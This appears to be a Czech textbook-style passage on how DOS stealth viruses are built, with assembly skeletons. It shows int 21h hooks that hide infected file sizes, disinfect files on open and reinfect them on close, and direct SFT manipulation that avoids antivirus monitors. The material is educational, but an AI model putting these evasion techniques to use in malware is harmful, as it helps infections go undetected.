Konstrukce stealth virů
Stealth viry se aktivním způsobem brání prozrazení své přítomnosti na počítači. Pro účinnost
stealth mechanismů musí virus zajistit, aby jeho tělo bylo umístěno do paměti rezidentně.
Podstatou stealth technik je monitorování služeb jádra DOSu pro práci se soubory, zejména
pak služeb otevření, uzavření a spuštění souboru.
Řada virů se vyhýbá infikaci antivirových či systémových programů. Antivirové programy
mají na zavirování vlastního těla velkou senzitivitu, a proto viry se řadě z nich záměrně
vyhýbají. Je to jedna z možností, jak se viry brání svému prozrazení.
Snahu o minimální změnu těla objektu útoku demonstruje multipartitní virus StarShip, který
v tabulce rozdělení pevného disku (Partition Table) mění pouze tři bajty v instrukcích pro
načtení boot sektoru (fyzická adresa - hlava, stopa a sektor).
Částečný stealth mechanismus
Částečný stealth mechanismus maskuje zavirovanou délku souboru. Virus obsahuje přerušení jádra
DOSu (int 21h) a monitoruje funkce otevření nebo vyhledání souboru, kdy operačnímu systému
vrací délky, tak jako kdyby soubor infikován nebyl.
virus_int21h:
cmp ah, 0fh ; sluzba "Otevri soubor pres FCB" ?
je stealth_open_FCB
cmp ah, 11h ; sluzba "Najdi prvni soubor pres FCB" ?
je stealth_FCB
cmp ah, 12h ; sluzba "Najdi dalsi soubor pres FCB" ?
je stealth_FCB
cmp ah, 4eh ; sluzba "Najdi prvni soubor" ?
je stealth_dir
cmp ah, 4fh ; sluzba "Najdi dalsi soubor" ?
je stealth_dir
... dalsi testy ...
stealth_open_FCB:
... volej originalni obsluhu int 21h
... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ...
... dalsi virove manipulace ...
stealth_FCB:
... volej originalni obsluhu int 21h
... zjisti adresu DTA, ve ktere je FCB ulozeno ...
... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
... dalsi virove manipulace ...
stealth_dir:
... volej originalni obsluhu int 21h
... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ...
... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
... dalsi virove manipulace ...
V případě návěští stealth_open_FCB a stealth_FCB se velikost souboru nachází na adrese
FCB[1dh] resp. DTA[1dh], v případě návěští stealth_dir pak na adrese DTA[1ah]. Vždy se
jedná o dvojslovo (DWORD). Při volání funkce 0fh je přímo známa adresa FCB, a proto ji
není potřeba zjišťovat prostřednictvím DTA. Stealth FCB délky na úrovni instrukcí je uveden
v rámci konstrukce souborového SYS viru.
Úplný stealth mechanismus
Principem úplného stealth mechanismu je rozšíření jeho částečné podoby o manipulaci úplného
odvirování žádaného souboru před jeho předáním operačnímu systému a jeho opětovného zavirování
v době, kdy příslušný soubor již není žádán resp. je vyvolán požadavek na jeho uzavření.
virus_int21h:
cmp ah, 3dh ; sluzba "Otevri soubor" ?
je stealth
cmp ah, 4bh ; sluzba "Spust souboru - EXEC" ?
je stealth
cmp ah, 6ch ; sluzba "Rozsireneho otevreni souboru" ?
je stealth
cmp ah, 3eh ; sluzba "Uzavri soubor" ?
je infect
... dalsi testy ...
stealth:
... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ...
... a predej odvirovany soubor pozadovane sluzbe ...
... dalsi virove manipulace
Důsledkem úplného stealth mechanismu je skutečnost, že antivirové kontroly nezachytí přítomnost viru,
neboť v době testování je virus ze souboru již odstraněn.
Při manipulaci se souborem řada virů využívá nedokumentovaný mechanismus přímého přístupu k souboru
prostřednictvím SFT:
mov bx, file_handle ; rukojet souboru
mov ax, 1220h ; sluzba "zjisti cislo SFT"
int 2fh
mov bl, es:di ; cislo SFT (-1 pro neotevreny soubor )
mov ax, 1216h ; sluzba "zjisti adresu SFT"
int 2fh
; adresa ES:DI ukazuje na SFT
Tato posloupnost příkazů nyní umožňuje přímou manipulaci s atributy souboru, módem otevření,
nastavení ukazatele posunu v souboru či manipulaci s datem a časem, bez volání služeb jádra
DOSu (int 21h), a tím i bez hrozby zachycení operací antivirovým hlídačem.
Například pro nastavení ukazatele posunu na začátek souboru může virus místo volání služby DOSu
42h použít sekvenci:
mov es:[di+15h], 0 ; od offsetu 15h je v tabulce SFT ulozeno
mov es:[di+17h], 0 ; dvojslovo aktualniho posunu v souboru
Podobně pro přenastavení módu otevření na zápis:
mov es:[di+02h], 2 ; read/write mód